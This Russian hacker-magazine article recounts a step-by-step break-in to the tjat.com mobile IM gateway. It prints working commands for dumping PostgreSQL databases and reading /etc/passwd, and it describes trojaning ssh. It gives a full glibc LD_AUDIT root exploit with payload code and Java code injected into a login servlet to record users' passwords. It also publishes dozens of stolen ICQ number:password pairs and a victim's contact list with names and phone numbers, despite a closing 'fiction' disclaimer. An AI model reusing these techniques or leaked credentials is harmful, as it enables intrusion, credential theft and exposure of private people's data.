По сложившейся доброй традиции, примерно один раз в два года ты можешь насладиться увлекательнейшей историей очередного взлома мобильного шлюза tjat.com, предназначенного для общения в ICQ/MSN/Yahoo/Chikka/AIM/GTalk/Facebook/Orkut/ВКонтакте прямо с экрана твоего телефона. Каждый из описанных взломов отличался увеличением сложности и глубины проникновения в систему, которая, в свою очередь, также росла, расширялась и видоизменялась. В сегодняшнем материале мы постараемся поставить жирную точку в этой истории, потому что получать контроль больше просто не над чем — в жестокой схватке пали последние из серверов этого WAP-сервиса.

 

Предыстория

Как-то раз мне в голову взбрело перебрать старые текстовые файлы с логами взломов tjat.com. Как это ни удивительно, но мой старый шелл все еще находился в укромном месте по адресу forums.tjat.com/phpBB2/language/lang_ukrainian/1.php! Конечно же, я сразу вспомнил былое и стал исследовать систему.

Во-первых, старинное ядро так никто и не удосужился пропатчить:

System: Linux tjat-srv-main 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686

Во-вторых, сохранился не только веб-шелл, но и суидник raptor_prctl1, полученный с помощью сплойта Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit.

В-третьих, вкуснейшие логи сервиса, в которых когда-то хранились пароли и ICQ-уины, по-прежнему находились в /usr/local/apache_1.3.37/logs/. Насторожило то, что эти самые логи имели крайне малый размер и уже не содержали ничего интересного.

Чтобы подтвердить закравшиеся сомнения, я проследовал на известный сервис Reverse IP Lookup и узнал, что теперь сервер forums.tjat.com обслуживает только следующие сайты:

  • forums.tjat.com;
  • temp.tjat.com;
  • tjat.com (редирект на miami.tjat.com);
  • www.tjat.com.

Такое положение вещей меня, конечно же, не устраивало, поэтому настала пора заняться взломом последних рубежей обороны tjat.com :).

 

Проникновение в БД

После не слишком долгих поисков стало ясно, что админы шлюза практически полностью перенесли свое творение на java и, соответственно, Apache Tomcat.

Из интересного на глаза мне попался файл /usr/local/tomcat/conf/Catalina/localhost/wapicq.xml, в котором содержались данные для подключения к некой PostgreSQL базе:

...
<Valve className="org.apache.catalina.valves.AccessLogValve" prefix="wapicq_access_log." suffix=".txt" pattern="combined" condition="p"/>
<Resource name="jdbc/wapicq" type="javax.sql.DataSource" auth="Container"
factory="org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"
url="jdbc:postgresql://10.0.0.1:5432/wapicq"
driverClassName="org.postgresql.Driver"
username="postgres"
password="postgres"
...

Я составил нехитрую команду для просмотра доступных баз данных:

/usr/local/hyperic/server-4.2.0/hqdb/bin/psql -h 10.0.0.1 -l -U postgres -W

И увидел следующую картину (кстати, как выяснилось немного позже, юзер postgres вообще не имел пароля!):

List of databases
Name        | Owner    | Encoding
------------+----------+-----------
art         | postgres | LATIN1
cabs        | postgres | UTF8
chikka      | postgres | SQL_ASCII
facebook    | postgres | UTF8
msn         | postgres | SQL_ASCII
myid        | postgres | UTF8
postgres    | postgres | LATIN1
space       | postgres | SQL_ASCII
statistics  | postgres | SQL_ASCII
summary     | postgres | SQL_ASCII
template0   | postgres | LATIN1
template1   | postgres | LATIN1
tjat        | postgres | SQL_ASCII
twitter     | postgres | UTF8
ucl         | postgres | UTF8
wapaol      | postgres | SQL_ASCII
wapfb       | postgres | UTF8
wapicq      | postgres | SQL_ASCII
wapqq       | postgres | SQL_ASCII
xmpp        | postgres | UTF8
yahoo       | postgres | SQL_ASCII

После небольших экспериментов и нескольких запросов к обнаруженной базе я нашел:

  1. Логи подключений к асе в таблице wapicq.icquser, весящие 141 Мб (аналогичным образом назывались и таблицы с логами для остальных сервисов):

...
555628075 2010-11-07 20:05:39 12.150.188.194 SonyEricssonK610i
333786737 2011-01-29 16:57:25 212.150.188.194 SonyEricssonW595/R3EJ
390588423 2010-12-10 05:08:38 213.87.76.177 Mozilla/5.0 (Linux; U; Android 2.1-update1; tr-tr; HTC_Wildfire_A3333 Build/ERE27)
429828391 2010-09-05 20:34:00 213.87.86.70 Opera/9.80
...

  1. Таблицу statistics.traffic, содержащую логи в формате Апача (из-за того, что отныне сервис не передает логин и пароль для подключения в _GET, толка от этих логов не было никакого);

  2. Маленькие таблицы myid.user_accounts и myid.users, содержащие непонятные аккаунты и пароли:

...
448280389;junam30
467470765;yulian2007
tjattest10@hotmail.com;tjattest1
ytest7654;123456
008138969;yulian7654
tjatqa1;qa1234
...

Здесь также стоит указать схему работы с утилитой pg_dump, так как PHP, установленный на сервере, не мог по дефолту работать с базами PostgreSQL:

/usr/local/hyperic/server-4.2.0/hqdb/bin/pg_dump -h 10.0.0.1 -U postgres -i -W -t icquser -v -f /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian/1.sql statistics

Данным запросом мы можем сдампить таблицу icquser из базы statistics в файл /usr/local/apache_1.3.37/htdocs/forum/phpBB2/language/lang_ukrainian/1.sql.

  1. Аналогичные postgres базы находились также на других серверах в сетке tjat: 192.168.25.2, 192.168.25.22, 192.168.25.23, 192.168.25.24, 192.168.25.25, 192.168.25.26 — это я узнал с помощью своих старых nmap-логов, описанных в предыдущей статье про наш многострадальный шлюз.
 

Топтание на одном месте

Потеряв много времени на изучение postgres-баз, я решил любыми путями проникнуть на соседние сервера — на одном из них должен был скрываться нужный нам wap.tjat.com.

Единственным доступным на тот момент способом казалось чтение и запись файлов с помощью встроенных в PostgreSQL средств. Но немного погуглив по теме, я сообразил следующую схему:

  1. Логинимся в постгрес

/usr/local/hyperic/server-4.2.0/hqdb/bin/psql -h 10.0.0.1 -U postgres -d statistics

  1. Читаем файлы с помощью следующего сценария:

set client_encoding to UTF8;
CREATE TABLE aaaaa(b text);
copy aaaaa from '/etc/passwd';
select * from aaaaa;
DROP TABLE aaaaa;

Данный сценарий успешно отработал и отобразил мне содержимое /etc/passwd на сервере 10.0.0.1:

...
haim:x:504:507::/home/haim:/bin/tcsh
Tjat_qa_Automation:x:505:508::/home/Tjat_qa_Automation:/bin/bash
TjToFc:x:0:0::/home/TjToFc:/bin/tcsh
vlad:x:506:510::/home/vlad:/bin/tcsh
yulian:x:507:511::/home/yulian:/bin/tcsh
yaron:x:508:512::/home/yaron:/bin/tcsh
yuriy:x:509:513::/home/yuriy:/bin/tcsh
JonathaN:x:510:514::/home/JonathaN:/bin/tcsh
OrenC:x:511:515::/home/OrenC:/bin/tcsh

Дальше, конечно же, возникла необходимость чтения других интересных файлов с postgres серверов tjat’а, но попытки прочитать что-то, кроме /etc/passwd, не увенчались успехом. Например, на запрос "copy aaaaa from '/etc/hosts';" постгрес ругался следующим образом:

ERROR: extra data after last expected column
CONTEXT: COPY aaaaa, line 3: "#127.0.0.1 tjat-oper-db tjat-stat-db localhost.localdomain localhost serverDB_il.tjat.com"

Не получив вменяемого ответа от Гугла, я совсем уже было опустил руки, но тут к делу подключилась свежая голова пожелавшего остаться неизвестным хеккера (далее — Анонимус), которому я и стукнул в аську :).

 

Все меняется, когда приходит Анонимус!

Недолго думая, Анонимус воспользовался уже известным тебе веб-шеллом на форумах tjat, удобно обустроился и получил привилегии рута. Поиски по серверу снова ничего не дали, постгрес же отвечал гробовым молчанием... Казалось бы, стоит оставить tjat.com с его асями в покое, но не тут-то было: вспомнив о статье ShadOS'а "Шапка-невидимка" из 103-го номера журнала, Анонимус принялся за протроянивание ssh.

По окончании этого нехитрого действия мы имели следующий профит:

  1. Вход в систему с магическим паролем tjatcompassword.
  2. Полное протоколирование входящих/исходящих соединений.
  3. Невидимость в системе.

Тут стоит упомянуть о том, что сервис ssh на forums.tjat.com и остальных серверах локальной сети располагался на необычном порту 4430, что помог выяснить установленный два года назад сканер nmap:

Host 192.168.25.8 appears to be up ... good.
Interesting ports on 192.168.25.8:
(The 65530 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
80/tcp open http Apache Tomcat/Coyote JSP engine 1.1
81/tcp open http Apache httpd 1.3.41 ((Unix))
111/tcp open rpcbind 2 (rpc #100000)
4430/tcp open ssh OpenSSH 4.3 (protocol 2.0)
8009/tcp open ajp13?

Также, если запустить внешний скан нашего хоста, то можно увидеть следующую информацию:

Host mail.tjat.com (82.80.244.153) is up (0.22s latency).
Interesting ports on mail.tjat.com (82.80.244.153):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 1.3.37 ((Unix) PHP/4.4.6)
4430/tcp open ssh OpenSSH 4.3 (protocol 2.0)

 

Эпик фэйл Димы

После того, как ssh был протроянен, нам оставалось лишь подождать входа в систему одного из администраторов. Ожидание омрачалось лишь одним фактом — команда "last -50" показывала, что единственный интересующийся данным сервером юзер dima заходил в систему более года назад.

Приняв во внимание данный факт, Анонимус предложил уронить какой-нибудь из сервисов, крутящихся на данной машине, для привлечения внимания ожидаемых нами админов. Выбор был сделан в пользу MySQL: /etc/init.d/mysql stop. Спустя несколько часов в лог упал аккаунт dima;dima76767676, а сервис мускуля был снова запущен :).

Теперь необходимо было проверить данный пароль на соответствие остальным серверам в сетке.

Первая же попытка коннекта "ssh -p 4430 dima@192.168.25.2" показала, что полученный нами пассворд подходит как минимум еще к одному серверу tjat!

Последующие тесты, а также логи nmap помогли узнать, что наиболее интересными для нас серверами являются 192.168.25.5, 192.168.25.6, 192.168.25.7 и 192.168.25.8 по следующим соображениям:

  1. Пароль Димы подошел ко всем перечисленным серверам.
  2. В логах Томката /usr/local/tomcat/logs/iсq был виден реферер wap.icq.com (в отличие от forums, на этих серверах логи были открыты на чтение непривилегированному юзеру).
  3. Логи были всегда свежими.

drwxr-xr-x 2 root root 4096 Feb 17 00:11 .
drwxr-xr-x 21 root root 4096 Feb 17 00:22 ..
-rw-r--r-- 1 root root 1756925 Feb 12 23:59 icq_access_log.2011-02-12.txt
-rw-r--r-- 1 root root 13264968 Feb 14 00:00 icq_access_log.2011-02-13.txt
-rw-r--r-- 1 root root 56353150 Feb 15 00:00 icq_access_log.2011-02-14.txt
-rw-r--r-- 1 root root 54432373 Feb 16 00:00 icq_access_log.2011-02-15.txt
-rw-r--r-- 1 root root 52451625 Feb 17 00:00 icq_access_log.2011-02-16.txt
-rw-r--r-- 1 root root 2056567 Feb 17 02:51 icq_access_log.2011-02-17.txt
...

Теперь необходимо было порутать наши сервера и подумать над получением логинов и паролей к аськам пользователей сервиса.

 

Последние рубежи

На всех нужных нам серверах Анонимус легко справился с задачей рутания (а затем и протроянивания) с помощью совершенно разных сплойтов, найденных на просторах exploit-db.com.

В большинстве же случаев помог небольшой сценарий, эксплуатирующий уязвимость в Glibc:

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
lr-x------ 1 dima dima 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
$ rm -rf /tmp/exploit/
$ ls -l /proc/$$/fd/3
lr-x------ 1 dima dima 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
$ cat > payload.c
void attribute((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 dima dima 4.2K Oct 15 09:22 /tmp/exploit*
$ LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root

Получив таким нехитрым образом абсолютные привилегии на четырех серверах, обслуживающих сайт wap.tjat.com, Анонимус предложил встроить в сервис троянский логгер для асек и стал подыскивать нужную точку для инжекта. Таковой оказался java-класс /usr/local/tomcat/webapps/wapicq/WEB-INF/classes/com/tjat/icq/wap/servlet/LoginServlet.class, который и содержал процедуру асечного логина:

String uin = WebServiceUtils.getRequestParameter(request, Parameter.username.value());
if(uin == null)
httpSession.getAttribute("uin");
String password = WebServiceUtils.getRequestParameter(request, Parameter.password.value());

Здесь необходимо было создать некую функцию записи в файл и вставить ее после получения пароля пользователя, то есть после строки, начинающейся со слов "String password".

Данная задача была решена Анонимусом с помощью Гугла и шаманского бубна следующим образом:

  1. Добавлялись input/output пакеты import java.io.*
  2. В начале класса LoginServlet.class добавилась функция writeToFile:public void writeToFile(String filename, String str) {
    BufferedWriter bufferedWriter = null;
    try {
    bufferedWriter = new BufferedWriter(new FileWriter(filename));
    bufferedWriter.write(str);
    if (bufferedWriter != null) {
    bufferedWriter.flush();
    bufferedWriter.close();
    }
    } catch (FileNotFoundException ex) {
    ex.printStackTrace();
    } catch (IOException ex) {
    ex.printStackTrace();
    }
    }
  3. После строки "String password" функция записывала в лог файлы уины с паролями следующим образом:writeToFile("/tmp/logs/logicq"+uin,uin+";"+password+"n");
 

Профит!

Наш незамысловатый логгер проработал примерно неделю до его обнаружения админами. За это время мы смогли получить примерно 6 000 номеров, большинство из которых, конечно же, были кривейшими 9-знаками:

...
267962705;sfam2990
268196940;iddqd
268314965;9813694
268524966;null
268619289;rfgbnjy
2687242;0leKMyQ7
269558047;lifetec
270323224;ilevr13
270405008;univega
271169757;Minka0708
271216896;bambin
271513810;medvediki
2718070;N@DEZHD@
273801640;mahal7
273967932;aned2305
274288079;52355200
274340894;4672108
274512176;twilight
...
596351383;121314
597424414;Qw95mdfF
597439288;212008
597743487;qwerasdf123
597852239;042206tis
598396568;357159
598858992;15031993
598965238;katea60
599046657;lancer2000
599522128;nyrek90
599560833;2836846
599916355;031093
599922284;null
599950031;burenator
600223141;fuck123
600991756;123ac456
601000602;enemenezicjzack
601142649;2402%5E_%5E
602320989;FK31QC7CJc
602533494;7Mo30qLX
...

Однако среди этого многообразия, как и в прошлые разы, попалось n-ное количество админских и просто красивых номеров. По сложившейся традиции публикую часть контакт-листа одного из таких номеров — 44446:

...
Work;10776;sarel;;+972 52 4888601 SMS;
Work;11001;Vadim;;+972 52 3698945 SMS;Thu Nov 23 2006 12:32:40
Work;123178848;sasha;;+972 (547) 391010;Tue Dec 19 2006 14:51:36
Work;12721;yonitg;;+972 502340003 SMS;Mon Jun 19 2006 08:44:54
Work;12826;Orit Fredkof;;;
Work;13579;Rami;;;Thu Sep 07 2006 14:58:57
Work;14366;amit;;(972) 524888622;Sun Jul 30 2006 09:17:37
Work;14441;Ron Harari;;+972 52 4888584 SMS;Thu Sep 07 2006 15:00:06
Work;148171833;HarelEfraim;;+972 54 3054450 SMS;Thu Sep 07 2006 15:00:22
Work;148940113;SF;;+972 (54) 4902642;Mon Jun 19 2006 08:43:46
Work;15123;Ruti;;;
Work;166967874;einat;;(972) 524888588;Mon Dec 18 2006 09:42:10
Work;16781;BoLo;;;
Work;16878;Michael Cohen;;+972 54 4527767 SMS;Mon Jun 19 2006 08:43:46
Work;18981;Ephraim;;;
Work;19791;Lior;;+972 52 4888605 SMS;Fri Jan 12 2007 12:58:39
Work;199516410;Galia;;+972 52549822 SMS;Mon Jun 19 2006 08:43:46
Work;20304;Dana;;+972 54 4954265 SMS;
Work;214509417;ouriel;;(972) 523023131;Thu Sep 07 2006 14:58:47
Work;21512;Noam ;);;(972) 4234556;Mon Jun 19 2006 08:43:45
Work;219380542;yair;;+972 52 4888596 SMS;Mon Jun 19 2006 08:42:40
Work;22221;Osnat;;+972 52 6122604 SMS;Thu Sep 07 2006 14:58:37
Work;22580;Paz;;;Mon Jun 19 2006 08:42:40
Work;23004;Channy;;;Fri Jul 14 2006 09:40:22
Work;23232;Klieger;;;Mon Jun 19 2006 08:42:40
Work;23234;Yifat;;+972 52 4888575 SMS;Sat Dec 16 2006 06:05:05
...

Как видишь, WAP ICQ-шлюз tjat.com по-прежнему пользуется популярностью среди определенного круга людей, хотя, надо заметить, что эта популярность значительно упала по сравнению с 2006-2008 годами.

Кстати, примерно в то же время Анонимус случайно заглянул в каталог /tmp на forums.tjat.com и обнаружил в нем подозрительные файлы вида tmp_Nagios_proc.63.218.56.11.postmaster, tmp_Nagios_proc.63.218.56.5.java и так далее.

После быстрой проверки выяснилось, что эти сервера обслуживают один сайт — miami.tjat.com, на который вел редирект с основного домена tjat.com и который, в отличие от wap.tjat.com, содержал еще и сервис для общения в русской социальной сети ВКонтакте.

Конечно же, сразу был проверен (и сразу подошел) ранее полученный пароль Димы, а внезапно найденная вторая сетка Tjat была быстро порутана и протроянена :).

 

Напоследок

После обнаружения логгера админы, мало того, что не пропатчили свои сервера, но еще и:

  1. Не изменили ни одного пароля.
  2. Не удалили троянский ssh.
  3. Вообще не позаботились о дальнейшем обеспечении безопасности своей системы (и это после третьего известного им взлома!).

В связи с данными обстоятельствами Анонимус, конечно же, предложил создать более продвинутый логгер для всех сервисов Tjat и поиметь, помимо ICQ, кучу аккаунтов MSN, Facebook и иже с ними, но это уже другая история :).

В целом же, оглядываясь на этот воистину эпохальный взлом целой армады серверов одного сервиса, я бы посоветовал тебе никогда и нигде не использовать одинаковые пароли (главная уязвимость Tjat — один и тот же пароль), а также внимательнейшим образом следить за безопасностью подконтрольных тебе систем.

Надеюсь, что в третий раз я, наконец, смогу поставить точку во взломе многострадального tjat.com :).

 

DANGER

Все описанное в статье является плодом воображения автора. Любые совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами этой статьи.

 

Ссылки по теме

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии